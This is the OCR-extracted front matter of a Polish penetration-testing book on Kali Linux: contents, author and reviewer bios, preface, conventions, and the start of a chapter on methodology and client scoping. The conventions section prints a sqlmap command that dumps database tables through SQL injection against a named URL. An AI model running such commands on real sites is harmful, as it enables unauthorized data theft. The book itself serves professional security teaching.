Kali Linux Testy penetracyjne Podręcznik pentestera! Spis treści O autorach 9 O recenzentach 11 Wstęp_________________________________________________...
Kali Linux Testy penetracyjne Podręcznik pentestera!
Spis treści O autorach O recenzentach
9 11
Wstęp__________________________________________________________________________15 Co znajdziesz w tej książce? Czego potrzebujesz do pracy z książką? Dla kogo przeznaczona jest ta książka? Konwencje Errata Piractwo
Rozdział 1. Przygotowania Podstawowe założenia testów penetracyjnych aplikacji internetowych Metodologia przeprowadzania testów penetracyjnych Ocena ryzyka Testy penetracyjne z wykorzystaniem systemu Kali Linux — założenia Etap 1. Rekonesans Etap 2. W yszukiwanie podatności Etap 3. Wykorzystywanie zidentyfikowanych podatności Etap 4. Podnoszenie uprawnień Etap 5. Utrzymanie zdobytego przyczółka Wprowadzenie do systemu Kali Linux Konfiguracja systemu Kali Linux Uruchamianie systemu Kali Linux z nośnika zew nętrznego Instalowanie systemu Kali Linux Kali Linux i pierwsze uruchomienie w maszynie wirtualnej Przegląd narzędzi dostępnych w systemie Kali Linux Podsumowanie
Rozdział 2. Rekonesans Zadania rekonesansu Rozpoznanie wstępne Strona internetowa firmy Źródła przechowujące historyczne wersje witryn internetowych Regional Internet Registries, czyli regionalni administratorzy adresów IP System EDGAR Zasoby serwisów społecznościowych Zaufanie Oferty pracy Lokalizacja Wyszukiwarka Shodan G oogle hacking GHDB, czyli G oogle Hacking Database Badanie zasobów sieci komputerowych Rekonesans z wykorzystaniem protokołu ICMP Rekonesans z wykorzystaniem serwerów DNS Nmap FOCA — wyszukiw anie i analiza metadanych Podsumowanie
Rozdział 3. Ataki na serwery aplikacji internetowych Wyszukiwanie podatności i luk w zabezpieczeniach W ebshag Skipfish ProxyStrike Vega Ow asp-Zap W ebsploit Wykorzystywanie znalezionych luk w zabezpieczeniach (exploity) Metasploit w 3af Wykorzystywanie luk w zabezpieczeniach systemów poczty elektronicznej Ataki typu brute-force Hydra DirBuster WebSlayer Łamanie haseł John the Ripper Ataki typu man-in-the-middle SSLStrip Podsumowanie
Rozdział 4. Ataki na klienty aplikacji internetowych
147
Inżynieria społeczna Pakiet SET — Social Engineer Toolkit Zastosowanie pakietu SET do ataku z klonowaniem MitM Proxy Skanowanie hostów Skanowanie hostów za pom ocą pakietu Nessus Przechwytywanie i łamanie haseł użytkowników Hasła w systemie W indow s Hasła w systemie Linux Narzędzia do łamania haseł dostępne w systemie Kali Linux Johnny Programy hashcat i oclHashcat samdum p2 chntpw Ophcrack Crunch Inne narzędzia dostępne w systemie Kali Linux Hash-identifier dictstat Rainbow Crack (rcracki_mt) findmyhash phrasendrescher CmosPwd creddum p Podsumowanie
Rozdział 5. Ataki na metody uwierzytelniania Ataki na zarządzanie sesjami Clickjacking Przechwytywanie ciasteczek sesji Narzędzia do przechwytywania sesji Wtyczki przeglądarki Firefox Cookie Cadger Wireshark Pakiety Hamster i Ferret Atak typu m an-in-the-m iddle Narzędzia dsniff i arpspoof Ettercap Driftnet Wstrzykiwanie kodu SQL sqlmap Ataki typu XSS (cross-site scripting) Testowanie podatności na ataki X SS Techniki XSS cookie stealing i Authentication hijacking
Testowanie mechanizmów obronnych Podstawowe wym ogi bezpieczeństwa STIG Zarządzanie aktualizacjami i poprawkami zabezpieczeń Polityka zarządzania hasłami Klonowanie środowiska HTTrack Inne narzędzia do klonowania witryn Obrona przed atakami typu man-in-the-middle Obrona przed atakami SSLstrip Obrona przed atakami typu DoS Obrona przed przechwytywaniem ciasteczek Obrona przed atakami typu Clickjacking Informatyka śledcza Uruchamianie systemu Kali Linux w trybie Forensics Analiza systemu plików za pom ocą narzędzi systemu Kali Linux Inne narzędzia śledcze w systemie Kali Linux Podsumowanie
Rozdział 8. Tworzenie raportów końcowych Zgodność ze standardami i procedurami Usługi profesjonalne Dokumentacja Format raportu Strona tytułowa Oświadczenie o zachow aniu poufności Zarządzanie wersjami dokumentacji Ramy czasow e projektu Streszczenie raportu Metodologia Szczegółow e procedury testowania Podsumowanie ustaleń Podatności i luki w zabezpieczeniach Wnioski i rekomendacje dla środowiska sieciow ego Dodatki Glosariusz Wykaz prac Zew nętrzne testy penetracyjne Dodatkowe elementy wykazu prac Narzędzia wspomagające tworzenie raportów Dradis KeepNote Maltego CaseFile MagicTree CutyCapt Podsumowanie
O autorach Joseph M uniz jest projektantem rozwiązań technicznych i badaczem zagadnień związanych z bezpieczeństwem systemów teleinformatycznych. Swoją karierę zaczynał od pracy jako programista i kontraktowy administrator sieci komputerowych. Później zmienił zainteresowa nia na usługi konsultingowe i odnalazł swoje powołanie w dziedzinie bezpieczeństwa syste mów komputerowych, świadcząc usługi dla wielu klientów. Joseph był zaangażowany w pro jektowanie i implementację bardzo wielu rozwiązań wdrażanych zarówno w firmach z listy „Fortune” 500, jak i w wielkich sieciach federalnych. Joseph je st właścicielem i twórcą witryny w w w .thesecu rityblogger.com , która jest bardzo po pularnym i szanowanym źródłem informacji o zagadnieniach związanych z bezpieczeństwem systemów komputerowych i wdrażaniem różnych tego typu produktów i rozwiązań. Josepha można również spotkać na wielu konferencjach i spotkaniach, gdzie wygłasza swoje referaty i prezentuje publikacje. Ostatnio wygłaszał takie referaty, jak „Social Media Deception” na konferencji 2013 A SIS International, „Eliminate Network Blind Spots” na webinarium Data Center Security czy „Making Bring Your Own Device (BYOD) Work” na Government Solutions Forum. W lipcu 2013 opublikował również w magazynie „Backtrack Compendium” artykuł zatytułowany C om prom ising Passwords. Poza pracą można go również spotkać za konsoletami gramofonów, gdzie „męczy” klasyczne, winylowe płyty, lub na boisku lokalnego klubu piłkarskiego.
Niniejsza książka nie mogłaby powstać bez pomocy mojej uroczej żony, Ning, oraz bez kreatywnych inspi racji mojej córki Raylin. Moja pasja do zdobywania wiedzy to zasługa mojego brata Aleksa, który wychowy wał mnie wraz z moimi kochanymi rodzicami, Irene i Rayem. Na koniec chciałbym również bardzo podzię kować wszystkim moim przyjaciołom, rodzinie i kolegom, którzy wspierają mnie w moich działaniach już od wielu lat.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Aamir Lakhani to projektant znakomitych rozwiązań w dziedzinie bezpieczeństwa systemów teleinformatycznych i kontrwywiadu elektronicznego, wdrażanych w wielu czołowych firmach i organizacjach rządowych. Lakhani prowadzi wiele projektów obejmujących wdrażanie nowych rozwiązań mechanizmów bezpieczeństwa w firmach z listy „Fortune 500”, w Departamencie Obrony USA, jednostkach służby zdrowia, instytucjach edukacyjnych oraz wielu innych organizacjach finansowych i me dialnych. Lakhani projektował rozwiązania zabezpieczeń w wielu organizacjach i agencjach powiązanych ze środowiskami armii i wywiadu, jak również pomagał wielu firmom i organi zacjom bronić się przed atakami zorganizowanych grup hakerów. Lakhani je st uważany za jednego z najlepszych fachowców zajmujących się projektowaniem rozwiązań systemów bez pieczeństwa, zagrożeniami aplikacji mobilnych, badaniami nad złośliwym oprogramowaniem i zagrożeniami typu APT. Lakhani je st autorem i współautorem wielu książek, jak również ma za sobą wywiady w środkach masowego przekazu, gdzie występował jako ekspert w dziedzinie bezpieczeństwa systemów komputerowych. Działając pod pseudonimem D r Chaos, Lakhani prowadzi bloga D rC haos.com . Na swojej prestiżowej liście 46 F ederal Technology Experts to Follow on Twitter magazyn „Forbes” napisał, że Aamir Lakhani to „bloger, specjalista w dziedzinie bezpieczeństwa systemów komputerowych, superbohater... i po prostu równy facet”.
Chciałbym zadedykować tę książkę moim rodzicom, Mahmoodowi i Nasreen, oraz moim siostrom, Noureen i Zahrze. Dziękuję Wam, że zawsze wspieraliście tego małego hakera, który siedzi gdzieś głęboko we mnie. Ta książka nie mogłaby powstać bez Waszego wsparcia. Dziękuję, Mamo i Tato, za Wasze poświęcenia dla mnie. Chciałbym również podziękować wszystkim moim przyjaciołom i kolegom za wsparcie oraz niezliczone, cenne uwagi i sugestie. To naprawdę wielki przywilej pracować z najzacniejszymi i najbardziej oddanymi ludźmi na świecie.
10
O recenzentach Adrian Hayter to pentester mający ponad 10 lat doświadczeń w przeprowadzaniu testów penetracyjnych aplikacji internetowych. Posiada tytuł magistra w dziedzinie bezpieczeństwa systemów komputerowych oraz licencjat z informatyki, oba zdobyte na Uniwersytecie Royal Holloway w Londynie.
D anang H eriyadi to pochodzący z Indonezji badacz zagadnień związanych z bezpieczeń stwem systemów teleinformatycznych, od ponad pięciu lat specjalizujący się w inżynierii wstecz nej i przełamywaniu zabezpieczeń oprogramowania i aplikacji internetowych. O becnie Danang prowadzi w firmie Hatsecure szkolenia z serii „Advanced Exploit and ShellCode Development”. Oprócz tego lubi dzielić się swoimi doświadczeniami i wynikami badań na blogu http://w w w .fuzzerbyte.com /.
Chciałbym podziękować moim rodzicom za to, że powołali mnie do życia. Bez nich nie byłoby mnie tutaj. Chciałbym również podziękować mojej dziewczynie za codzienne wsparcie uśmiechem i miłością oraz wszystkim moim przyjaciołom, których nie sposób tutaj kolejno wymienić.
Tajinder Singh Kalsi posiada ponad sześć lat doświadczeń na polu IT i jest współzałożycie lem firmy Virscent Technologies Pvt Ltd. Jest w niej czołowym projektantem rozwiązań tech nicznych. Swoją karierę rozpoczynał jako technik w firmie W IPRO, a później został instruktorem w firmie konsultingowej. Obecnie prowadzi seminaria na tematy związane z bezpieczeństwem systemów komputerowych, projektowaniem aplikacji dla systemu Android, projektowaniem stron internetowych i przetwarzaniem danych w chmurze obliczeniowej w uczelniach na całym tere nie Indii. Prowadził wykłady w ponad 100 uczelniach dla ponad 8500 studentów. Oprócz tego, że
11
fl
K a li L in u x . T e s ty p e n e tra c y jn e
prowadzi szkolenia i wygłasza wykłady, zajmuje się pisaniem bloga (zobacz http://virscent.com / blog/), gdzie prezentuje różne sztuczki i triki. Możesz skontaktować się z nim na Facebooku (zobacz https://w w w .facebook.com /tajinder.kalsi.tj) lub na jego własnej stronie internetowej, http://w w w .tajin derkalsi.com /.
Chciałbym złożyć specjalne podziękowania na ręce Krunala Rajawadhy (jednego z menedżerów ds. kontaktów z autorami w wydawnictwie Packt Publishing) za odwiedzenie mojego bloga i zaoferowanie mi możliwości pracy przy tej książce. Chciałbym również podziękować mojej rodzinie i przyjaciołom za wsparcie, jakiego mi udzielili podczas pracy nad tą książką.
B rian Sak, posiadacz certyfikatu C C IE o numerze 14 441, pracuje obecnie jako architekt rozwiązań technicznych w firmie Cisco Systems, gdzie zajmuje się projektowaniem i wdraża niem rozwiązań sieciowych, oraz wspomaga działanie firm konsultingowych będących partnerami firmy Cisco. Przed rozpoczęciem pracy w Cisco Brian pracował jako konsultant w dziedzinie bezpieczeństwa systemów komputerowych dla dużych instytucji finansowych, agencji rządowych i firm z listy „Fortune 500”. Brian posiada ponad dwudziestoletnie doświadczenie w pracy w branży, z czego zdecydowaną większość czasu spędził, zajmując się zagadnieniami bezpieczeństwa. Oprócz wielu certyfikatów technicznych i branżowych Brian posiada również tytuł magistra w dziedzinie bezpieczeństwa systemów komputerowych i jest autorem wielu książek i publikacji.
Kunal Sehgal (zobacz http://kunseh.com/) trafił do branży bezpieczeństwa systemów komputero wych po ukończeniu szkolenia Cyberspace Security, organizowanego przez Georgian College (Kanada). Od tamtej pory pracował jako konsultant dla wielu organizacji finansowych, co przyniosło mu wiele doświadczeń z pracy w miejscach, gdzie zagadnienia bezpieczeństwa są krytyczne dla operacji biznesowych. Obecnie Kunal jest szefem operacji działu bezpieczeństwa IT dla regionu APAC jednego z największych banków w Europie. Posiada ponad 10 lat doświadczeń w wielu dziedzinach, od wyszukiwania podatności i luk w zabezpieczeniach, poprzez zarządzanie bezpieczeństwem, aż do zagadnień związanych z szacowaniem ryzyka. Jest posiadaczem wielu certyfikatów, takich jak O SC P TCNA, C ISM , C CSK , Secu rity+, Cisco Router Security, ISO 27001 LA czy IT IL .
Nitin Sookun (MBCS) to pasjonat komputerowy, zamieszkujący w samym sercu Oceanu Indyj skiego, na przepięknej wyspie Mauritius. Swoją karierę rozpoczynał jako przedsiębiorca i założy ciel firmy Indra Co. Ltd. W poszukiwaniu nowych wyzwań przekazał zarządzanie firmą swojej rodzinie, a sam rozpoczął pracę w firmie Linkbynet Indian Ocean Ltd. jako inżynier systemów Unix/Linux. O becnie pracuje jako inżynier w firmie Orange Business Services.
12
O re c e n z e n ta c h
fl
Od roku 2009 Nitin jest zapalonym kontrybutorem systemu openSU SE i spędza swój wolny czas, promując systemy Linux i inne rozwiązania F O SS. Jest aktywnym członkiem różnych grup użytkowników systemu Linux i projektów otwartego oprogramowania, takich jak openSUSE Project, MATE Desktop Project, Free Software Foundation, Linux User Group o f Mauritius oraz Mauritius Software Craftsmanship Community. Nitin lubi pisać skrypty w językach takich jak Bash, Perl i Python, a wyniki swoich prac prezentuje zazwyczaj na swoim blogu. Jego najnowsze dzieło, „Project Evil Genius”, to skrypt pozwalający na adaptację oraz instalowanie narzędzi przeznaczonych do przeprowadzania testów penetracyjnych w systemie openSUSE. Jego publikacje są często tłumaczone na inne języki i rozpowszechniane w społeczności open source. Nitin jest gorącym orędownikiem wolnego oprogramowania i udo stępniania wiedzy wszystkim zainteresowanym. W wolnym czasie lubi nawiązywać znajomości z zawodowcami z różnych dziedzin wiedzy.
13
fl
K a li L in u x . T e s ty p e n e tra c y jn e
14
Wstęp Kali to dystrybucja systemu Linux oparta na systemie D ebian Linux, która została wyposażo na w ogromny arsenał narzędzi przeznaczonych do przeprowadzania testów penetracyjnych, wykorzystywanych przez zawodowców (i nie tylko) podczas oceny ryzyka i stanu bezpieczeń stwa aplikacji internetowych danej firmy czy organizacji. Kali oferuje szeroki zestaw odpowiednio skonfigurowanych i zoptymalizowanych narzędzi pozwalających na identyfikację i wykorzy stywanie luk w zabezpieczeniach systemów internetowych. W książce tej będziemy omawiać narzędzia, które były dostępne w edycji systemu Kali Linux wydanej 13 marca 2013 r., oraz szereg innych narzędzi i aplikacji typu op en source. Książka K ali Linux. Testy pen etracyjn e, została zaprojektowana tak, aby być przewodnikiem dla pentesterów (czyli użytkowników zawodowo zajmujących się przeprowadzaniem testów penetracyjnych), którzy chcą wykorzystywać Kali Linux do testowania bezpieczeństwa apli kacji i witryn internetowych. Naszym celem było pokazanie narzędzi, które najlepiej nadają się do wykonywania poszczególnych zadań, omówienie sposobów ich użycia, przedstawienie danych, jakie można uzyskać za ich pomocą, oraz przedstawienie przykładowych raportów i wnio sków, jakie można na ich podstawie opracować. W systemie Kali Linux masz do dyspozycji bardzo wiele różnych programów i narzędzi, ale w naszej książce staraliśmy się skoncentro wać głównie na tych, które mają największe możliwości i najlepiej sprawdzają się w praktyce. Nasza książka została podzielona na rozdziały, po święcone poszczególnym zadaniom, które są najczęściej spotykane podczas przeprowadzania testów penetracyjnych aplikacji i witryn interne towych. W rozdziale 1., „Przygotowania”, znajdziesz omówienie podstawowych pojęć związanych z testami penetracyjnymi, poznasz środowisko systemu Kali Linux i dowiesz się, jak je skonfi gurować pod kątem tematów i zagadnień prezentowanych w naszej książce. W rozdziałach 2. - 6. przedstawiamy różne zagadnienia związane z metodologią i przeprowadzaniem testów pene tracyjnych, włącznie z przykładami konfiguracji środowiska testowego i tworzeniem raportów końcowych.
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W rozdziale T., „Przeciwdziałanie i zapobieganie”, dowiesz się, w jaki sposób postępować z syste mami podatnymi na ataki opisywane w poprzednich rozdziałach i jak zapobiegać takim zagroże niom. Rozdział 8., „Tworzenie raportów”, poświęcony je st w całości najlepszym praktykom tworzenia raportów końcowych po zakończeniu testów penetracyjnych oraz streszczenia ra portu dla kadry zarządzającej. Znajdziesz tam również wiele przykładów, które mogą Ci po służyć jako szablony do tworzenia własnych raportów i ich streszczeń. Celem przyjęcia takiego układu książki było dostarczenie Czytelnikowi możliwie kompletne go poradnika pozwalającego na zapoznanie się z metodologią przeprowadzania testów penetracyjnych aplikacji internetowych, zastosowanie najlepszych narzędzi dostępnych w dystrybucji Kali Linux, zaproponowanie rozwiązań pozwalających na usunięcie podatności testowanych aplikacji oraz przedstawienie sposobów efektywnego i profesjonalnego tworzenia raportów końcowych.
Co znajdziesz w tej książce? Rozdział 1., „Przygotowania”, omawia podstawowe zagadnienia związane z przeprowadza niem profesjonalnych testów penetracyjnych aplikacji internetowych. Dowiesz się tutaj, czym różnią się testy penetracyjne od audytów bezpieczeństwa i innych usług, oraz poznasz meto dologię przeprowadzania takich testów. W tym rozdziale omówimy również instalację systemu Kali Linux i jego konfigurację do wykonywania zadań przedstawionych w naszej książce. Rozdział 2., „Rekonesans”, opisuje szereg sposobów zbierania informacji na temat celu będą cego przedmiotem testu penetracyjnego. Znajdziesz tutaj opisy wielu popularnych narzędzi dostępnych w internecie oraz w menu Inform ation G athering systemu Kali Linux. Rozdział 3., „Ataki na serwery aplikacji internetowych”, koncentruje się na metodach identy fikacji i wykorzystywania podatności i luk w zabezpieczeniach serwerów i aplikacji interne towych. W rozdziale korzystamy zarówno z narzędzi zaimplementowanych w systemie Kali Linux, jak i innych narzędzi typu op en sou rce dostępnych w internecie. Rozdział 4., „Ataki na klienty aplikacji internetowych”, poświęcony jest atakom na systemy będące klientami aplikacji internetowych i serwerów WWW. Będziemy tutaj poruszać sprawy zwią zane między innymi z atakami socjotechnicznymi i inżynierią społeczną (ang. social engineering), wykorzystywaniem podatności i luk w zabezpieczeniach klientów oraz ataki na hasła — są to nadal najpowszechniej stosowane metody zabezpieczania dostępu do systemów i aplikacji. Rozdział 5., „Ataki na metody uwierzytelniania”, porusza zagadnienia związane ze sposobami uwierzytelniania użytkowników i systemów w aplikacjach internetowych. Znajdziesz tutaj ta kie tematy, jak ataki na proces zarządzania sesjami uwierzytelniania, uzyskiwanie dostępu do danych przechowywanych na klientach aplikacji internetowych oraz techniki przeprowadza nia ataków typu m an-in -the-m iddle. W tym rozdziale omówimy również między innymi ataki typu SQ L Injection oraz C ross-Site Scripting.
16
W stę p
fl
Rozdział 6., „Ataki na aplikacje internetowe i serwery W W W ”, pokazuje, w jaki sposób mo żesz użyć serwerów W W W do przeprowadzenia ataków na aplikacje internetowe. Opisujemy tutaj między innymi ataki wykorzystujące podatności i luki w zabezpieczeniach przeglądarek, ataki wykorzystujące serwery proxy oraz techniki przechwytywania i gromadzenia haseł do stępu. W rozdziale znajdziesz również omówienie metod zakłócania ciągłości działania usług i aplikacji internetowych przy użyciu ataków typu DoS. Rozdział T., „Przeciwdziałanie i zapobieganie”, przedstawia sprawdzone metody „utwardzania” zabezpieczeń Twoich aplikacji internetowych i serwerów WWW. W tym rozdziale omówimy takie zagadnienia, jak ustalanie stanu zabezpieczeń systemu, zarządzanie aktualizacjami i łatkami oprogramowania, reguły haseł, oraz zaprezentujemy metody obrony przed atakami opisywa nymi w poprzednich rozdziałach. Znajdziesz tutaj cały podrozdział poświęcony narzędziom wykorzystywanym w informatyce śledczej, dzięki którym będziesz mógł przeprowadzać eksperty zy mające na celu wyjaśnienie sposobu, w jaki doszło do złamania zabezpieczeń danej aplikacji czy serwera WWW, i podjęcie kroków pozwalających na uniknięcie takich incydentów w przyszłości. Rozdział 8., „Tworzenie raportów z testów penetracyjnych”, poświęcony jest w całości najlepszym praktykom tworzenia profesjonalnych raportów końcowych po zakończeniu testów penetra cyjnych. Omówimy tutaj między innymi efektywne sposoby prezentacji wniosków, przedstawimy kilka wskazówek dotyczących formatowania dokumentów i zaprezentujemy kilka szablonów, które będziesz mógł wykorzystać podczas tworzenia własnych raportów.
Czego potrzebujesz do pracy z książką? Czytelnik powinien posiadać podstawową wiedzę na temat aplikacji internetowych, połączeń sieciowych oraz metodologii przeprowadzania testów penetracyjnych. W tej książce przed stawiamy szczegółowo, krok po kroku, sposoby przeprowadzania ataków przy użyciu narzędzi zaimplementowanych w systemie Kali Linux oraz innych narzędzi typu op en source, dostępnych w internecie. Doświadczenie w pracy i znajomość poprzednich wersji systemu Backtrack Linux i podobnych narzędzi nie je st absolutnie wymagana, aczkolwiek z pewnością będzie dla Czy telnika wielkim ułatwieniem. Wymagania sprzętowe dla środowiska testowego i systemu Kali Linux zostały szczegółowo omówione w rozdziale 1., „Przygotowania”.
Dla kogo przeznaczona jest ta książka? Nasza książka przeznaczona jest przede wszystkim dla pentesterów, czyli użytkowników zawodo wo zajmujących się przeprowadzaniem testów penetracyjnych aplikacji internetowych i ser werów WWW, oraz dla tych wszystkich, którzy chcą poznać możliwości systemu Kali Linux
17
fl
K a li L in u x . T e s ty p e n e tra c y jn e
i używać ich na własne potrzeby. Jeżeli chcesz dowiedzieć się, jak przeprowadzać testy penetra cyjne, jak wyszukiwać podatności i luki w zabezpieczeniach aplikacji internetowych i serwe rów W W W oraz jak przygotowywać profesjonalne raporty po przeprowadzeniu takich testów, to ta książka jest właśnie dla Ciebie.
Konwencje W tej książce wykorzystujemy różne style tekstu do wyróżniania różnych rodzajów informacji. Poniżej znajdziesz kilka przykładów takich stylów wraz z krótkimi objaśnieniami. Słowa kluczowe, fragmenty kodu i nazwy poleceń są w tekście wyróżnione w następujący sposób: „Na przykład nowemu profilowi możesz nadać nazwę Mój pierwszy skan lub użyć dowolnej innej nazwy”. Bloki kodu (listingi) oraz wyniki działania komend wydawanych w wierszu poleceń są forma towane w następujący sposób: Wszystkie polecenia wpisywane przez użytkownika w wierszu polecenia są formatowane w nastę pujący sposób: sqlmap -u http://www.drchaous.com/article.php?id=5 -T tablesnamehere -U te st --dump -U te s t -dump Nowe pojęcia i ważne słowa zostały w tekście pogrubione. Komunikaty wyświetlane na ekra nie, nazwy poleceń menu, nazwy okien dialogowych i inne podobne elementy zostały w tekście wyróżnione pochyloną czcionką, na przykład: „Po kliknięciu przycisku E xecute (...) zostanie dokonana próba wstrzyknięcia kodu SQL”’. Ostrzeżenia i inne ważne uwagi oraz różne wskazówki, ciekawostki i porady są wyróżnione w ten sposób.
Errata Chociaż dołożyliśmy wszelkich możliwych starań, aby w naszych książkach nie pojawiały się pomyłki czy niedociągnięcia, to jednak chochliki nie dają za wygraną. Jeżeli znajdziesz jakiś błąd w naszej książce — niezależnie od tego, czy na przykład jest to błąd w tekście, czy pomyłka w kodzie listingu — będziemy bardzo zobowiązani, jeżeli nas o tym poinformujesz. Wysyłając taką informację, pomożesz uchronić innych Czytelników przed niepotrzebną frustracją, a nam
18
W stę p
fl
umożliwisz przygotowanie poprawek i ulepszeń, które zostaną wprowadzone do kolejnego wyda nia. Jeżeli znajdziesz jakiś błąd, możesz go zgłosić, wchodząc na stronę http://helion.pl/user/erraty/ i wypełniając odpowiednie dane w zamieszczonym tam formularzu. Zweryfikowane zgłoszenie zostanie opublikowane na stronie erraty książki i uwzględnione w je j kolejnych wydaniach. Wszystkie zgłoszone błędy i poprawki możesz znaleźć na stronie internetowej poświęconej książce w witrynie wydawnictwa Helion (wejdź na stronę wybranej książki, przejdź na kartę Szczegóły i poszukaj łącza o nazwie Errata).
Piractwo Tworzenie pirackich kopii materiałów multimedialnych i ich nielegalna dystrybucja w interne cie jest problemem dla każdego wydawnictwa. Wydawnictwo Helion traktuje sprawę ochrony praw autorskich i licencji w poważny sposób. Jeżeli kiedykolwiek znajdziesz w sieci nielegalne kopie naszych książek i innych produktów w dowolnej formie, bardzo prosimy o podanie siecio wego adresu serwera lub strony W W W zawierającej takie materiały, co pozwoli nam na pod jęcie odpowiednich kroków. Jeżeli chcesz skontaktować się z nami w sprawie naruszenia praw autorskich, możesz tego dokonać, wypełniając anonimowy formularz na stronie http:llhelion .pllpiraey.phtm l. Z góry bardzo dziękujemy za Twoją pomoc w ochronie praw autorskich!
19
fl
K a li L in u x . T e s ty p e n e tra c y jn e
20
R
O
Z
D
Z
I
A
Ł
Przygotowania W iele firm i organizacji oferuje usługi z zakresu bezpieczeństwa systemów teleinformatycz nych i w swoich materiałach używa takich pojęć, jak audyt bezpieczeństwa, oszacowanie ryzyka i stanu bezpieczeństwa systemów i aplikacji czy testy penetracyjne. Niestety, bardzo często pojęcia te są ze sobą mylone i w nieuzasadniony sposób używane zamiennie. Zgodnie z definicją au dyt bezpieczeństwa (ang. security audit) to proces mający na celu wymierną, techniczną ocenę stanu bezpieczeństwa danego systemu czy aplikacji w odniesieniu do określonej listy kontrolnej, przepisów prawa bądź zgodności z normami, standardami lub przepisami wewnętrznymi danej organizacji, podczas gdy oszacowanie bezpieczeństwa (ang. security assessment) to proces po zwalający na identyfikację luk w zabezpieczeniach systemów i aplikacji przy użyciu różnorod nych metod i narzędzi informatycznych. Testy penetracyjne to proces wykraczający daleko poza ramy szacowania bezpieczeństwa, ma jący na celu praktyczną ocenę bieżącego stanu bezpieczeństwa systemu. Testy penetracyjne polegają na przeprowadzaniu analizy zidentyfikowanych podatności i luk w zabezpieczeniach w celu weryfikacji, czy stanowią one rzeczywiste zagrożenie dla badanego systemu lub apli kacji. Wyobraźmy sobie, że podczas audytowania czy szacowania bezpieczeństwa zasobów informatycznych określonej organizacji przeprowadzone zostało skanowanie, którego wynikiem było zidentyfikowanie dużej liczby potencjalnych luk w zabezpieczeniach wielu systemów. Następujący później test penetracyjny będzie miał na celu próbę wykorzystania zidentyfikowa nych podatności z perspektywy potencjalnego włamywacza i sprawdzenia, które z nich stanowią rzeczywiste zagrożenie dla badanego systemu czy aplikacji. Dzięki takiemu postępowaniu można zredukować listę potencjalnych zagrożeń, potwierdzić istnienie (lub brak) podatności i błędów bezpieczeństwa w badanym systemie, sprawdzić skuteczność jego zabezpieczeń i przy gotować rekomendacje podnoszące jego bezpieczeństwo. Testy penetracyjne są najefektyw niejsze w sytuacji, kiedy są przeprowadzane na konkretnym systemie i mają ściśle określony cel. Jakość zamiast ilości to klucz do pomyślnego przeprowadzania testów penetracyjnych. Drobiazgowa analiza jednego, określonego systemu i dobrze przemyślany ukierunkowany atak przynosi z reguły znacznie więcej informacji na temat bezpieczeństwa danego systemu i czasu
fl
K a li L in u x . T e s ty p e n e tra c y jn e
reakcji na incydenty niż szeroko zakrojony „ślepy” atak. Dzięki starannemu wybraniu systemów, które zostaną poddane atakowi, ekspert przeprowadzający testy penetracyjne może dokonać szczegółowej oceny ryzyka i stanu bezpieczeństwa całej badanej infrastruktury informatycznej.
Samo przeprowadzenie testu penetracyjnego w żaden sposób nie powoduje, że sieć komputerowa danej organizacji staje się bezpieczniejsza!
Przyjęcie założenia, że samo wykonanie testu penetracyjnego przyczyni się do zwiększenia poziomu bezpieczeństwa danego systemu, jest bardzo często popełnianym błędem, co każdy ekspert powinien jasno i wyraźnie przekazywać wszystkim potencjalnym zleceniodawcom. Przeprowadzenie testu penetracyjnego ma na celu praktyczną ocenę bieżącego stanu bezpie czeństwa systemu i odporności na próby przełamania jego istniejących zabezpieczeń. Jeżeli w systemie zleceniodawcy nie zostały wcześniej zaimplementowane odpowiednie zabezpie czenia, to przeprowadzenie testów penetracyjnych nie przyniesie praktycznie żadnych korzyści. Pamiętaj, że przeprowadzenie testów penetracyjnych powinno być rozpatrywane najlepiej dopiero wtedy, kiedy właściciel systemu jest przekonany, że dołożył wszelkich starań mają cych na celu zapewnienie odpowiedniego poziomu zabezpieczenia swojego systemu i jest go towy na praktyczną weryfikację takiego stanu rzeczy. Jeżeli prowadzisz firmę konsultingową oferującą między innymi przeprowadzanie testów pene tracyjnych, powinieneś pamiętać, że jednym z najważniejszych elementów umowy z właścicielem systemu powinno być ustalenie szczegółowego zakresu prac. W takim dokumencie powinna się znaleźć kompletna lista zasobów i aplikacji, które będą przedmiotem ataku, oraz lista narzę dzi, które będą używane do jego przeprowadzenia. Jedną z najlepszych praktyk w tym zakresie jest pełna współpraca z właścicielem systemu już na etapie projektowania testu penetracyj nego, dzięki czemu można wspólnie wypracować jego zakres tak, aby jego wyniki były jak najbardziej miarodajne. Książka K ali Linux. Testy pen etracyjn e to praktyczny poradnik, który krok po kroku przedsta wia metody wyszukiwania, identyfikacji i wykorzystywania luk w zabezpieczeniach aplikacji internetowych. Znajdziesz tutaj takie zagadnienia, jak wyszukiwanie celów ataku, identyfika cja i wykorzystywanie luk w zabezpieczeniach (zarówno aplikacji internetowych, jak i klientów wykorzystujących usługi sieciowe), metody ochrony aplikacji internetowych przed najczęściej stosowanymi rodzajami ataków oraz tworzenie profesjonalnych raportów końcowych po zakoń czeniu testów penetracyjnych. Wierzymy, że ta książka będzie bardzo przydatna nie tylko dla Czytelników, którzy są zainteresowani zagadnieniami związanymi z przeprowadzaniem testów penetracyjnych, ale również dla tych, którzy chcą poznać system Kali Linux i dowiedzieć się, jakie są jego możliwości i czym się on różni od systemu BackTrack. Mamy ponadto nadzieję, że nasza książka będzie też znakomitym kompendium dla doświadczonych pentesterów, któ rzy będą chcieli odświeżyć nieco swoje wiadomości oraz poznać nowe narzędzia i techniki. W tym rozdziale szczegółowo omówimy podstawowe założenia różnych usług związanych z bez pieczeństwem systemów informatycznych oraz przedstawimy szereg wskazówek, które pozwolą Ci w profesjonalny sposób przeprowadzać testy penetracyjne. Dowiesz się między innymi,
22
R o z d z ia ł 1. • P rzy g o to w a n ia
fl
czym różnią się testy penetracyjne aplikacji internetowych od innych usług, i poznasz ogólną metodologię ich przeprowadzania. Znajdziesz tutaj również krótki opis instalacji zarówno te stowego, jak i produkcyjnego środowiska systemu Kali Linux.
